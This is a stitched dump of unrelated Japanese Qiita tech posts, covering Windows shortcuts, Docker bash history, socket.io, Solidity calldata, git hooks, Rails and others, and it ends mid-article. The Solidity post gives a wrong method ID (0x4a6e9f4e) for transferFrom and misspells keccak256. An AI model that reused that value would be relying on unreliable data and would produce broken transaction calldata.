OmniAICreator/Qiita-1.07M huggingface dataset:
3選＠Windowsショートカットキー_20220524

## 概要
新たに身につけたキーボードショートカットを3つ共有します。

## タスクバーのアプリを右クリック `Win + Alt + 数字`

`Win + 数字`でタスクバー配置と対応するアプリを起動できますが、`Alt`キーを追加することで、ピン留めしたExcelファイルを開くときなどに活用できます。

右側にも`Alt`キーがある場合は、左の親指で`Win`キー、右の親指で`Alt`キーを押して、残りの指で数字キーを押すとスタイリッシュでしょう。

## タスクトレイにフォーカス `Win + B`

在宅勤務の日は、タスクトレイからVPN接続・切断をしているので、必ず使います。

カーソルを右に動かせば、カレンダーも表示できます。
カレンダーを表示するショートカットキーについてはこちらも参照。

https://qiita.com/AnPanda/items/ecd80c0a1abd78c6d72f

## Webブラウザのフォーカス移動 `F6`

ブラウザを閲覧している際に`Alt`キーを押すと、右上のメニューにフォーカスが移動します。
誤打で`Alt`キーを押してしまうことがあるんですが、そのあと`Alt`キーを押しても、フォーカスは右上のメニューから動きません…

`F6`キーを何度か押すことで、フォーカスをメイン画面に戻すことができます。
何度押せばよいかはブラウザや設定によって異なるので、ご自身の環境でご確認ください。

### Edge
`F6`：メイン → タブ → ツールバー(URL) → お気に入りバー → メイン → ・・・
`Alt`：メイン → ツールバー(右上のメニュー)

私はお気に入りバーを表示しているので、**`Alt`誤打したときは`F6`を2回押す**とメイン画面に戻れます。

なお、`Esc`キーは反応がありませんでした。

### Chrome
`F6`：メイン → ツールバー(URL) → ツールバー(URL) → タブ → お気に入りバー → メイン → ・・・
`Alt`：メイン → ツールバー(右上のメニュー)
`Esc`：ツールバー(右上のメニュー) → メイン

`Alt`誤打からメイン画面に戻るには、**`Esc`キーを押す**のが確実です。`F6`だと3回押す必要があります。また、`Shift + F6`を1回でも可です。

`F6`でURLにフォーカスしたときの動作が不可解です。URLにフォーカスした状態で`F6`を押すと、URLが再変換されることもあります。
2022/5/24主にITとかセキュリティの記事

「Firefox」や「Thunderbird」に深刻な脆弱性 - アップデートで修正
https://www.security-next.com/136694

資格検定の申込サイトにサイバー攻撃 - データ改ざんや流出の可能性
https://www.security-next.com/136684

トレンドマイクロのWindows向けパスワード管理製品に脆弱性
https://www.security-next.com/136696

過去12カ月に従業員の電子メール関連のミスによってデータを損失した企業は6割超(5/21)
https://news.mynavi.jp/techplus/article/20220521-2348733/

Microsoft、SQL Serverを標的とした新しいブルートフォース攻撃について警告(5/21)
https://news.mynavi.jp/techplus/article/20220521-2348587/

連載企画「サイバーカオス　解明コンティ」　まとめ読み(5/22)
https://www.nikkei.com/article/DGXZQOUC202ZO0Q2A520C2000000/

NFT交換を可能にするWeb3マーケットプレイス・プロトコル「シーポート」、オープンシーが開始(5/22)
https://jp.cointelegraph.com/news/opensea-launches-seaport-marketplace-protocol-allowing-nft-bartering

Win3.0が発表されるまで(5/23)
https://news.nifty.com/article/item/neta/20023-1646210/

BOPIS（Buy Online,Pickup In Store）(5/23)
https://xtech.nikkei.com/atcl/nxt/mag/nc/18/020600009/051700115/

仮想通貨の「保有経験あり」は9.1％　高年収者ほど割合が高い傾向に(5/23)
https://xtech.nikkei.com/atcl/nxt/mag/nc/18/020600010/051700114/

メルカリも成長鈍化の憂き目　深刻化するクレカ不正利用問題(5/23)
https://xtech.nikkei.com/atcl/nxt/mag/nc/18/092400133/051900078/

台頭、組み込み型金融　業界の垣根を崩す(5/23)
https://xtech.nikkei.com/atcl/nxt/mag/nc/18/020600014/051600117/

ZHDがユーザー権利保護の基本方針を策定、LINE問題特別委の提言にも対応(5/23)
https://xtech.nikkei.com/atcl/nxt/news/18/12899/

「起動しない」「つながらない」、基本的なiPhoneトラブルはここを疑え(5/23)
https://xtech.nikkei.com/atcl/nxt/column/18/02072/051900001/

データ統合に欠かせないApache Airflow、どのような企業にマッチするのか(5/23)
https://xtech.nikkei.com/atcl/nxt/column/18/01924/051600006/
【VSCode】bashのコマンド履歴を永続化する方法【Remote - Containers】

## `Remote - Containers`使用時にbashの履歴を永続化する方法

### `Dockerfile`を編集する
Dockerfileに以下を追記します。

ユーザーがrootの場合
```Dockerfile
RUN SNIPPET="export PROMPT_COMMAND='history -a' && export HISTFILE=/commandhistory/.bash_history" \
    && echo $SNIPPET >> "/root/.bashrc"
```

ユーザーがroot以外の場合
```Dockerfile
ARG USERNAME=ユーザー名
RUN SNIPPET="export PROMPT_COMMAND='history -a' && export HISTFILE=/commandhistory/.bash_history" \
    && mkdir /commandhistory \
    && touch /commandhistory/.bash_history \
    && chown -R $USERNAME /commandhistory \
    && echo $SNIPPET >> "/home/$USERNAME/.bashrc"
```

### `docker-compose.yml`を編集する
`docker-compose.yml`を使用している場合には以下を追記します。
```docker-compose.yml
volumes:
      - projectname-bashhistory:/commandhistory

volumes:
  projectname-bashhistory:
```


### `devcontainer.json`を編集する
`docker-compose.yml`を使用していない場合には`devcontainer.json`に以下を追記します。
```devcontainer.json
"mounts": [
      "source=projectname-bashhistory,target=/commandhistory,type=volume"
  ]
```
【typescript】socket.ioでサーバー-クライアント間のやり取りを簡単に行う

## socket.ioって何？

socket.ioとは、Node.jsサーバーとクライアント間の```WebSocket```通信を簡単に行うためのライブラリ。

単純に```WebSocket```を使うだけではなく必要に応じて```polling```等の別の最適な形式に切り替える機能や、ルーム機能・全クライアントへのブロードキャスト処理等が含まれている。

これを用いてクライアント・サーバー間の送受信処理を作成してみる。

以下のようにnpm installし導入する。

```
npm install socket.io
npm install socket.io-client
```

## まずはhttpモジュールからサーバーを立てる

まずはNode.jsのサーバーとしてhttpオブジェクトを用いる。以下のようにimport、サーバーの作成を行う。

```ts:server.ts
import http from 'http';

const server: http.Server = http.createServer();
```

## socket.ioでsocketサーバーの作成+接続を行う

今度はsocket.ioモジュールからsocketサーバの作成を行う。httpサーバーの```listen```関数を動かし、待ち受け状態にする。
```ts:server.ts
import { Server, Socket }  from 'socket.io';
const io = new Server(server, {
    /*
    // cors設定はこれ
    cors:{
        origin: ["http://xxxx"]
    }
    */
});

server.listen(port, () => console.log('app listening on port ' + port));

```

クライアント側では```socket.io-client```モジュールを読み込んで接続を行う。

```ts: client.ts
import {io} from 'socket.io-client';

const socket = io('http://localhost:' + 5000);

// 接続時にこのイベントが発火する
socket.on('connect', () => console.log('connect'));

```

接続成功時には、サーバー側は```'connection'```イベントが発火し、socketオブジェクトを受け取る。

```ts: server.ts
io.on('connection', (socket: Socket)=>{
    console.log('connection');
})
```

## socketオブジェクトを使う

socketオブジェクトに対してイベントを登録していくことで処理を作っていく。この際の登録の方法は[EventEmitterの使い方](https://qiita.com/NNNiNiNNN/items/34524966bb17e98bceb0)に従う。

```ts: server.ts
io.on('connection', (socket: Socket)=>{

    // "clientMessage"イベントを作成、登録する
    socket.on("clientMessage", (message)=>{
        console.log('client -> server: ' + message);
    })
    
    // "serverMessage"イベントを動かす
    socket.emit("serverMessage", "hello from server");

    // これだと全クライアントに行く
    io.emit("serverMessage", "hello from server to everyone");
    let id = socket.id;

    // これだと指定したidの人間のみに行く
    io.to(id).emit("serverMessage", "hello from server to only you");


})
// client.tsによって以下の出力を受け取る
// client -> server: hello from client
```



```ts: client.ts
// "clientMessage"イベントを動かす
socket.emit("clientMessage", "hello from client");

// "serverMessage"イベントを作成、登録する
socket.on("serverMessage", (msg: any)=>{
    console.log('server -> client: ' + msg);
})
// server.tsによって以下の出力を受け取る
// server -> client: hello from server
// server -> client: hello from server to everyone
// server -> client: hello from server to only you
```

こちらの記事↓のような関数があるため、必要に応じて使っていく。
https://qiita.com/uranesu/items/8ee0dbe4e472f9fffa49
Swiftで特定のメソッドをClosureにしたくなった時


例えば以下のような関数があったとします。

``` swift
    func 関数名() {
        長い処理
    }
```

このメソッドを使い回した時に特定の箇所ではUI処理が終わるまで待機する必要が出てきた時などに


``` swift
    func 関数名(comp: (() -> Void)? = nil) {
        長い処理

        // comp!()にすると呼び出さない場合にクラッシュする（後述）
        comp?()
    }
```

## 呼び出し方

``` swift
    override func viewDidLoad() {
        // 待つ必要がない場合
        // comp!()にしてるとここでクラッシュ
        関数名()

        // 待ちたい時
        関数名 {
          //待った後に行いたい処理
        }
    }
```


もし以下のような形で書くと

```swift
    func 関数名(comp: () -> Void) {

    }
```

呼び出し元は明示的にClousreの処理を記述しなければならないです。
```swift
    override func viewDidLoad() {
        // 待つ必要がない場合
        // build error
        関数名() //Missing argument for parameter 'comp' in call

        // 待ちたい時
        // build success
        関数名 {
        }
    }

```

ここは処理によって臨機応変に使い分けていきたいです。

以上。
hostsファイルの場所（Linux & Windows）

## hostsファイルとは
IPアドレスとホスト名のセットを記述しているファイルで、ホスト名の解決に使用する。
ローカル環境内で、DNSサーバのように名前解決をすることが可能。
## Linux
``` text
/etc/hosts
```

## Windows
``` text
C:\windows\system32\drivers\etc\hosts
```
「Linuxディストリビューション」って結局何なのか調べて噛み砕いてみた

先輩からCentOS後継問題の話を聞いたのですが、そもそも前提として
* 「CentOS」って名前は聞くけど結局何のことだっけ？OS？ディストリビューション？
* OSとディストリビューションって何が違うの？
* そもそもディストリビューションって何？

がいまいち分かってなかったので、色々調べて噛み砕いてみました。
※この記事ではそもそもの前提を書いているので、CentOS後継問題については詳しく触れません。

# ディストリビューション = OS
結論から言うと、Linuxの話では「OS」と「ディストリビューション」は**同じ意味**で使われています。
※「ディストリビューション」自体は英単語なので、文脈によってもちろん意味が変わってきます。この記事ではLinuxに関する話という前提で書きます。

「OS」は一般的にもよく使われる言葉なので、感覚的に分かりやすい思います。
コンピュータでのOSで代表的なのはこのあたり。
* Windows
* Mac
* Linux（Linuxディストリビューション）

個人で使うパソコンだとWindowsやMacが多いと思いますが、
企業の商用サーバーでは、一般的にはLinuxを選択することが多いです。
ここでOSの一つとして「Linux」を挙げましたが、厳密にはCentOSやUbuntuなどの「Linuxディストリビューション」のことです。

そうすると、次の疑問が出てきます。
* LinuxってOSじゃないの？
* だから「ディストリビューション」って何やねん

ここを噛み砕いていきます。

# そもそも「Linux」はOSの中で核となる部分
本来「Linux」自体は、OSとして動くシステムの中で核となる部分「カーネル」のこと。
なんだけど、OSとして語られることもあるようです。というか、私もついさっきまでペンギン印のOSやと思ってた。

> Linuxとは、本来は「カーネル」のみを指す用語です。
[「Linux」と「ディストリビューション」の関係 - Linux技術者認定 LinuC | LPI-Japan](https://linuc.org/study/knowledge/337/)

# 「Linuxカーネル」を使いやすくするために「ディストリビューション」ができた
そのLinuxカーネルを使うにはデバイスを制御するためのドライバーや、ユーザーが操作するためのUI、アプリケーションソフトなどを取り入れて使用する必要があります。

しかし、いちいち必要なプログラムやソフトウェアを調べて集めて…というのはめっちゃ大変。
そこで、もっと実用的に使えるようにと企業やユーザーコミュニティがLinuxカーネルと必要なソフトウェア群を1つのパッケージにまとめるようになりました。
そうして作られた「**Linuxの配布形態**」が「**Linuxディストリビューション**」（以下「ディストリビューション」と記述）であり、「**OS**」なのです。
このディストリビューションのおかげで、ユーザーはLinuxカーネルをより便利に利用できるようになりました。

# 色々なディストリビューション
ディストリビューションは、いろんな企業や団体が作っているので多種多様。
代表的なPC向けのディストリビューションは、RedHat、Debian、Ubuntuなど。
それぞれ、有償・無償・どのようなアプリケーションを組み合わせているか・インストール形式...などの違いがあるので、その辺りの違いを調べてどれを使うのか選択する必要があります。
ディストリビューションは色々なものが無数にあり、大きく分類して4系統に分かれています。

## RedHat系
Red Hat社が開発・サポートしているディストリビューション。
有名なのは「CentOS」や「RHEL (Red Hat Enterprise Linux Server)」など。
AWSのデフォルトOSである「Amazon Linux2」もCentOSがベース。

## Debian系
ボランティアを中心に開発されていて、ユーザーフレンドリーなのがウリらしい。
有名なのは「Ubuntu」など。
筆者的には、遥か昔ボロPCにインストールして初めてOSというものを意識して感動した思い出があります。

## Slackware系
Linux普及初期は有名だったという、歴史あるディストリビューション。
代表格は「Slackware」、「openSUSE」らしいです。（勉強不足であまり知りませんでした…）

## 独立系
上記の3系統に分類できないような、独自性の高いディストリビューション。


他にどんなディストリビューションがあるかについては、Wikipediaが詳しいと思います。
[Linuxディストリビューション - Wikipedia](https://ja.wikipedia.org/wiki/Linux%E3%83%87%E3%82%A3%E3%82%B9%E3%83%88%E3%83%AA%E3%83%93%E3%83%A5%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3)


# CentOS後継問題とは
開発元のCentOS Projectの大幅な方針転換により、最新バージョンだったCentOS 8が2021年12月31日にサポート終了となりました。
現在多くの企業システムで利用されているのがCentOS 7で、CentOS 9 はリリースなしとのこと。
そしてCentOS 7のサポート終了が2024年6月のため、後継のOSどうすんの問題が各地で発生しているそうなのです。
後継OSを選ぶにあたり、数多のディストリビューション（=OS）を比較検討し、用途に適したものを選択する必要性が出てきたというわけですね。

# 参考
[ディストリビューションとは - コトバンク](https://kotobank.jp/word/%E3%83%87%E3%82%A3%E3%82%B9%E3%83%88%E3%83%AA%E3%83%93%E3%83%A5%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3-6086)
[CentOS 8のサポート終了について。課題と代替手段を解説 | Winserverのススメ](https://www.winserver.ne.jp/column/centos-8-support-period/)
Workflowアクティビティ一括検索データベースビューについて

※本投稿は過去に弊社のHatena blog [MKIが解説するServiceNow開発blog](https://mki-blog.hatenablog.com/entry/2021/12/17/125545) に掲載した内容を再編集したものです。

# はじめに
突然ですが、ServiceNowのWorkflowでどんなアクティビティが存在するか、指定したスクリプトが使われているアクティビティがどれかを調べるのに苦労したことはありませんか？

基本的には1つ1つアクティビティを開かないと確認できず、複数のアクティビティを一括で検索するツールも標準では用意されていません。

そこで、今回は現在PublishとなっているWorkflowに含まれるアクティビティを一覧表示するDatabase View（複数のテーブル間の結合を表す擬似テーブル）を作成し、Workflowに使用されているアクティビティやそのアクティビティで設定されている値やスクリプトを検索する方法をご紹介させて頂きます。

# 今回利用する機能
Database View

# テーブル構成
Workflowの情報は複数のテーブルで管理されており、今回利用するテーブルとテーブル同士の関係性は以下になっております。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599975/fd2db5a7-3906-0611-a248-addecc778a6f.png)

wf_workflow_version
　Workflowの特定のバージョン (公開されたバージョンまたはチェックアウトされたバージョン)を管理する

wf_activity
　Workflowで使用されているアクティビティを管理する

sys_variable_value
　様々なテーブルの変数（WorkflowやFlow Designerなどに設定された情報）を管理する

# 設定方法
Database View全体としては以下となり、View Tableを4つ使用しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599975/cc2c3d65-5a24-9594-93e9-207ed8f2e4a2.png)

Orderが100となっているwf_workflow_versionのView Tableは以下の設定となっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599975/e29a33ca-99ae-7ded-de0b-494508f8a3c2.png)

Orderが200となっているwf_workflow_versionのView Tableは以下の設定となっています。
ここで再度wf_workflow_versionのView Tableを作成している理由は、wf_workflow_versionのレコードのうちpublish=trueのみというフィルターをかけたいのですが、View Table単体では使用できないため、同一テーブルを参照したView Tableを2つ作成してjoinしています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599975/b2980960-734a-30cd-48e7-a496374f3dd6.png)

wf_activityのView Tableは以下の設定となっています。
WorkflowとWorkflowで使用しているアクティビティを結びつけています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599975/f36edfb6-3d21-62cc-7261-fa4cf85b1c17.png)

sys_variable_valueのView Tableは以下の設定となっています。
Workflowアクティビティと変数を結びつけています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599975/3129cfdb-085c-b692-1c15-62cdf56ef392.png)

これでDatabase Viewの作成は完了です。Database Viewを実行し、Workflow名や指定したスクリプトでフィルタリングしてWorkflowで使用しているアクティビティがヒットすれば成功です。
以下は弊社インスタンスで稟議申請の中でBoxと連携を行っているスクリプトを含んでいるアクティビティをフィルタリングした結果になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2599975/99f28fa8-573b-1659-25b2-325e4fc98228.png)

# おわりに
今回の検証により、Database Viewを利用しWorkflowに存在するアクティビティを調査することができるようになりました。
最後まで読んでいただき、ありがとうございました。

三井情報株式会社
ソリューション技術本部
ITマネジメント技術部
第一技術室
甲田善寛
solidityのcalldataの求め方

## はじめに
solidityで別コントラクトの関数を呼び出すとき、call()やdelegatecall()が使われると思います。
call()やdelegatecall()は、引数にcalldataが必要です。
calldataの作り方が分からなかったので整理しました。


## calldataついて
EVM(Ethereum Virtual Machine)でコードを実行する際にstack、memory、storage、calldata、returndataの５つのデータ領域がある。
calldataはcallまたはdelegatecallで別のコントラクトを呼び出す時に使用するデータ領域で、calldataはbytes型で表される。

calldataは2つのサブパートに分けることができる。
- メソッドID（4バイト）
- 引数（32バイト）※引数が複数ある場合もある



## メソッドIDの求め方
メソッドIDは、メソッドシグネチャのkecccak256ハッシュの先頭8文字で表される。
メソッドシグネチャは、メソッドの名前とその引数の型のこと。



```
例 
メソッドの名前  -->  transferFrom
引数の型  -->  (address, address, uint256)
メソッドシグネチャ  -->  transferFrom(address, address, uint256)
kecccak256ハッシュの先頭8文字  -->  web3.abi.encodeFunctionSignature('transferFrom(address,address,uint256)')  -->  0x4a6e9f4e
0x4a6e9f4eがメソッドIDとなる
```



## calldataの引数部分の求め方
引数部分は、各引数を32バイトで表し、連結する。

```
例
transferFrom(0x0123456789abcdef01223456789abcdef0123456, 0xabcdef0123456789abcdef0123456789abcdef01, 30)

0x0123456789abcdef01223456789abcdef0123456を32バイトにする  -->  0x0000000000000000000000000123456789abcdef01223456789abcdef0123456
0xabcdef0123456789abcdef0123456789abcdef01を32バイトにする  -->  0x000000000000000000000000abcdef0123456789abcdef0123456789abcdef01
30を32バイトにする  -->  0x000000000000000000000000000000000000000000000000000000000000001d
連結する  -->  0x0000000000000000000000000123456789abcdef01223456789abcdef0123456000000000000000000000000abcdef0123456789abcdef0123456789abcdef01000000000000000000000000000000000000000000000000000000000000001d
```

## calldataの求め方
メソッドIDと、calldataの引数部分を連結する

```
例 
メソッドID  -->  0x4a6e9f4e
calldataの引数部分  -->  0x0000000000000000000000000123456789abcdef01223456789abcdef0123456000000000000000000000000abcdef0123456789abcdef0123456789abcdef01000000000000000000000000000000000000000000000000000000000000001d
calldata  -->  0x4a6e9f4e0000000000000000000000000123456789abcdef01223456789abcdef0123456000000000000000000000000abcdef0123456789abcdef0123456789abcdef01000000000000000000000000000000000000000000000000000000000000001d
```

## まとめ
calldataについて理解できました。
Etherscanにも、メソッドIDなどは記載されているので、Transactionの理解も深まりました。
未解決のコンフリクトを検知するgit-hooks(pre-commit)をすべてのリポジトリに適用する


Git には`hooks`といって特定のイベントが発生するたびに自動的にスクリプトを実行する機能があります。
これらを使用すると、Gitの内部動作をカスタマイズし、開発ライフサイクルの重要なポイントでカスタマイズ可能なアクションをトリガーできます。
具体的な利用シーンとしては、コミット時にコードのフォーマットやプッシュ時にテストコードを実行するなどです。

hooks は以下の場所にサンプルが入っています。
代表的なものとして「**pre-commit**」（コミット時にスクリプトを実行）や「**pre-push**」（プッシュ時にスクリプトを実行）があります。

```
$ cd /PATH/TO/<Gitリポジトリ>/.git/hooks/
$ ls -1
applypatch-msg.sample
commit-msg.sample
fsmonitor-watchman.sample
post-update.sample
pre-applypatch.sample
pre-commit.sample
pre-merge-commit.sample
pre-push.sample
pre-rebase.sample
pre-receive.sample
prepare-commit-msg.sample
push-to-checkout.sample
update.sample
```

基本的にはGitリポジトリ単位で使用することになるのですが、グローバルにも反映できます。
※Git の 2.9.5 から使用できるようになりました。
参考「[githooks](https://git-scm.com/docs/githooks/)」

今回は自分用のメモなので、コンフリクト発生時に修正漏れがないかどうかをチェックするスクリプトをコミット時に実行します。

#### 1. pre-commitファイルを作成

```bash
mkdir ~/githooks && touch ~/githooks/pre-commit && chmod +x ~/githooks/pre-commit
```

#### 2. pre-commitを編集

未解決のコンフリクトがないかをチェックします。

```bash:~/githooks/pre-commit
#!/bin/sh

# Check for merge conflicts

# Tested on Linux and Mac

# Simple check for merge conflics
conflicts=`git diff --cached --name-only -G"<<<<<|=====|>>>>>"`


# Something went wrong
if [[ -n "$conflicts" ]]; then
    echo
    echo "未解決のコンフリクトを解消してください:"

    for conflict in $conflicts; do
        echo $conflict
    done;

    exit 1;
fi

exit 0
```

#### 3. グローバルに設定を反映

githooks のデフォルトディレクトリを変更します。

```bash
git config --global core.hooksPath ~/githooks
```
Ubuntu自宅サーバ構築メモ



【前書き】参考にした動画とサーバスペック
-
[【Linux】Ubuntuでファイルサーバーを作って遊ぼう](https://www.youtube.com/embed/eVVfJYXq1ug)
<iframe width="560" height="200" src="https://www.youtube.com/embed/eVVfJYXq1ug" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

[最新アップデート版「Ubuntu 22.04 LTS」をインストールしました](https://www.youtube.com/embed/1k9gBsrNwa0)
<iframe width="560" height="200" src="https://www.youtube.com/embed/1k9gBsrNwa0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

**サーバスペック**
使用サーバ:PRIMERGY RX100 S6　←ヤフオクで2000円で購入したもので本体のみ
HDD:Seagate Constellation 2シリーズ 2.5inch SATA 6Gb/s 1TB ×4
>SASアレイカードやらSATAやらSASやらなんやらって訳分からん状態で、好奇心でサーバを買ったのはいいものの半年くらい置き物になっていました。
そして最近新たに、UTM(統合脅威管理)アプライアンス製品:VCRwiNG2を4000円で購入しまして、、、説明書も参考になるサイトもなくてワケワカメ状態。勉強します。。。




1.自宅サーバーへUbuntu 22.04 LTSのインストール
-
自分のPCに[Ubuntu公式サイト](https://www.ubuntulinux.jp/)からUbuntuをインストールします。
>自分のPCは作業をするサーバーではなく、自分が既に使用しているPCのことです。

インストールしたISOファイルをUSBへコピーするソフトウェアを用いて移します。
ソフトウェア一覧
・[Rufus](https://rufus.ie/ja/)
・[【Windows版】Etcher](https://etcher.jp.uptodown.com/windows)
・[【Mac版】Etcher](https://etcher-for-mac.jp.uptodown.com/mac)
上記いずれかのソフトウェアをインストールして作業してください。
>ソフトウェアを起動して上がってきた画面にISOファイルをドラッグ&ドロップで反映させた後、USB挿せばだいたいOKなはず

完成したUSBをサーバーへぶっ刺して、boot選択(F12キー連打)からUSBを選択して起動。
>ワシのサーバーのスペックだとbootからの起動が遅すぎて1分くらいかかったから画面出力が無くなっても中では着々とインストールが進んでいる(はず…)

OSのインストールが完了したら画面に従ってOSの基本的な設定を行います。

もしサーバーにメルカリなどで購入した別途HDDを装填している場合、メモリのパーティション(区画)を設定してマウント状態にしないと行けません。(Linuxの仕様)

左下のアイコンからアプリケーション一覧を開いてディスクアプリを開きます。

ディスクを差し込んで、ディスクが認識されていればマウントしたいディスクを選択します。

ウィンドウ右上の詳細ボタン(３つの点)をクリックし、ディスクを初期化します

初期化したディスクのボリュームの左下にある「+ボタン」を押下します

パーティション設定は今回はマウントする範囲をディスク全てしたいのでサイズそのまま右上の「次へボタン」押下します

ボリューム名を自分の理解できる名前を入力(今回はHDD1)して、Linux用の内蔵ディスクとして使用するのでチェックを入れて右上の作成ボタンを押すことでハードディスクを使用することができます。

次にこのハードディスクのマウントオプションを設定していきます。

対象のハードディスクのボリューム枠下部の歯車を押下して、マウントオプションを編集を選択します。

開いた画面の1番上のトグルボタンをOFFにして、詳細設定を行います。

まずは起動時にマウントするにチェックを入れます

次に識別名をプルダウンから
JavaScriptで画面更新時にスクロール位置を指定する方法

タイトルに表題についてハマったので備忘録として記載しておきます

例えば、ラインのようなチャット機能でコメントを送信すると一番下にスクロールされるようなUIの実装方法として様々な実装方法がありますが、JavaScriptを用いた実装方法を紹介します。(むしろ、この実装方法しかできなかった)

では、コードとしては以下記載します

```:index.html
<div id="chat-room">
 <ul>
  <!-- 略 -->
</ul>
</div>

<script type="text/javascript">
  const el = document.getElementById('chat-room');
  el.scrollTo(0, el.scrollHeight);
</script>
```

ScrollTo関数が指定の位置(x, y座標)に移動する関数です
チャットルームの表示領域のelement(ここではgetElementByIdで('chat-room'))を取得し、それをx座標(水平方向)を０、y座標はelのscrollHeightを指定すると指定の挙動になるかと思います

といっても、ここではチャットのコメントを送信すると下にスクロールするというよりは、上記のコードは画面遷移するたびに要素を取得して指定の場所にスクロールさせてる認識の方がいいかもですね

問題解決の一端になればLGTMお願いいたします。
なにか、間違っていればコメントでお知らせください
【HTML】セレクトボックスで動的に初期値を設定する

## 概要
HTML(jsp)のセレクトボックスで動的に初期値を設定する。
具体的には以下の内容。
①Controller部分で初期値をスコープに格納
②Controller部分セレクトボックスの選択肢を作成＆スコープに格納
③HTML(jsp)で初期値を設定した状態でセレクトボックス出力

## ソースコード
```java:Controller.java
// 初期値作成＆格納
String currentYear = "2022年"
// ②セレクトボックスの選択肢作成＆格納
List<String> yearList = new ArrayList<>();
yearList.add("2016年");
yearList.add("2017年");
yearList.add("2018年");
yearList.add("2019年");
yearList.add("2020年");
yearList.add("2021年");
yearList.add("2022年");
yearList.add("2023年");
yearList.add("2024年");
model.addAttribute("yearList ", yearList )

```

```html:view.jsp
<form action="/arrangement/holiday" method="POST">
<select onchange="this.form.submit()" name="currentYear">
<c:forEach var="year" items="${yearList}" varStatus="status">
<c:choose>
<c:when test="${year == currentYear}">
<option selected>${year}</option>
</c:when>
<c:otherwise>
<option>${year}</option></c:otherwise>
</c:choose>
</c:forEach>
</select>
</form>	
```
## 完成イメージ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2681113/1f8e8e80-37ae-67a9-bb2a-e3410a29f2da.png)
（＊上記デザインいじっています。）
kotlin map 置き換え

# Kotlin map
## 役割:リストの置き換え
## 使える型
[CharSequence](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-char-sequence/)
## 使うシーン
for文を簡易的に書く方法みたいなイメージ
リストに対して使用
※イメージです・・・。
### 使い方
```kotlin:map
A.map{ it.XXX }
→A(CharSequence)の1つ1つに対して順番に処理を実行し、Aに再代入
```
#### リストの各要素に対して処理実行
```kotlin:map
  fun map(){
    val characterList = mutableListOf("Beckey", "Binnie", "Bonald", "Baisy", "Boofy")
    val characterListReplacedNN = characterList.map { it.replace("B","nn") }
    println(characterListReplacedNN)
  }
```
```tex:result
[nneckey, nninnie, nnonald, nnaisy, nnoofy]
```
replaceメソッドについては[こちら](https://qiita.com/Samtech0315/items/c7a069199b8651c6eb27)
#### 文字列にmapを実行どうなるのか？
```kotlin:map
  fun map(){
    val characterString = "BeckyBouse".map { it }
    println(characterString)
  }
```
```tex:result
[B, e, c, k, y, B, o, u, s, e]
```
1文字ずつ分割され、リスト化される

#### ちょっと面白いなと思ったこと
```kotlin:map
  fun map(){
    val suuji = 1847090940
    println(suuji.toString().map { it.javaClass.kotlin })
    println(suuji.toString().map { (it -'0').javaClass.kotlin })
  }
```

```tex:result
[class kotlin.Char, class kotlin.Char, class kotlin.Char, class kotlin.Char, class kotlin.Char, class kotlin.Char, class kotlin.Char, class kotlin.Char, class kotlin.Char, class kotlin.Char]
[class kotlin.Int, class kotlin.Int, class kotlin.Int, class kotlin.Int, class kotlin.Int, class kotlin.Int, class kotlin.Int, class kotlin.Int, class kotlin.Int, class kotlin.Int]

```
つまり、ただmapを使うとchar型で、mapの中で-'0'をするとInt型に変換できる。
it.toIntは、コンパイルエラーになります！
Rails DM機能3

[Rails DM機能その２（DM投稿画面）](https://qiita.com/W2020T/items/3a16559bedad01be8fe4)の続きです。
## 開発環境
Mac
Ruby 2.6.5
Rails 6.1.3.2

```rooms/show.html.erb

<%= form_for @message do |f| %>
<%= f.text_field :content, :placeholder => "メッセージを入力して下さい" , :size => 70 %>
<%= f.hidden_field :room_id, :value => @room.id %>
<%= f.submit "投稿する" %>
<% end %>
```
```controllers/messages_controller
class MessagesController < ApplicationController

 def create
    if Entry.where(user_id: current_user.id, room_id: params[:message][:room_id]).present?
      @message = Message.create(params.require(:message).permit(:user_id, :content, :room_id).merge(user_id: current_user.id))
    else
      flash[:alert] = "メッセージ送信に失敗しました。"
    end
　　redirect_to "/rooms/#{@message.room_id}"
  end
end
```
## コードの解説
まず、form_forで送られてきた:messageと:room_idのキーがちゃんと入っているか確認します。[:message]には作ったメッセージに渡されたルームidとコンテンツが入っています。
条件がtrueだったら、Message.createでメッセージを保存して、Messagesテーブルにuser_id、:content(ユーザーが入力したメッセージの内容）、room_idのパラメーターとして送られてきた値を許可します。
メッセージを送ったのは現在ログインしているユーザーなので、そのuser_idの情報をmergeさせます。
form_withでユーザーが記入した内容はハッシュの中に、キーと一緒に入っているが、ユーザーが記入しない内容もDBに保存したい時にmergeメソッドを使います。

# 参考記事
[RailsでややこしいDM機能を1万字でくわしく解説してみた](https://qiita.com/bindingpry/items/6790c91f374acc25bea2)
[RailsでDM(ダイレクトメッセージ)を送れるようにしよう](https://qiita.com/ki_87/items/a344ea566c88b10b950c)
[rails DM機能　メッセージ編](https://qiita.com/qzoktakuna/items/6deb3a93a6ac86525563)
[mergeメソッドについて改めて理解を深めた](https://qiita.com/TerToEer_sho/items/c445bad0a9726030d24c)
プログラマーにとって大事な5W2Hとは？

## はじめに
「やっといて、って言ったタスクどうなった？」とか「これ、指示したものと違うな...」なんて言われている駆け出しプログラマーのあなた。
それ、もしかしたら5W2Hが抜けてるのかもしれません！

## 対象者
この記事は下記のような人を対象にしています。

- 駆け出しエンジニア
- プログラミング初学者
- よく上司やクライアントから「何かちょっと違うんだよな〜」と言われがち

## 結論
要件定義でも、自分のタスクの整理にも5W2Hは大活躍！

:::note
What 何を【 課題 】
Why なぜ 【 動機 】
Who 誰が 【 対象 】
When いつ 【 時期 】
Where どこで 【 場所 】
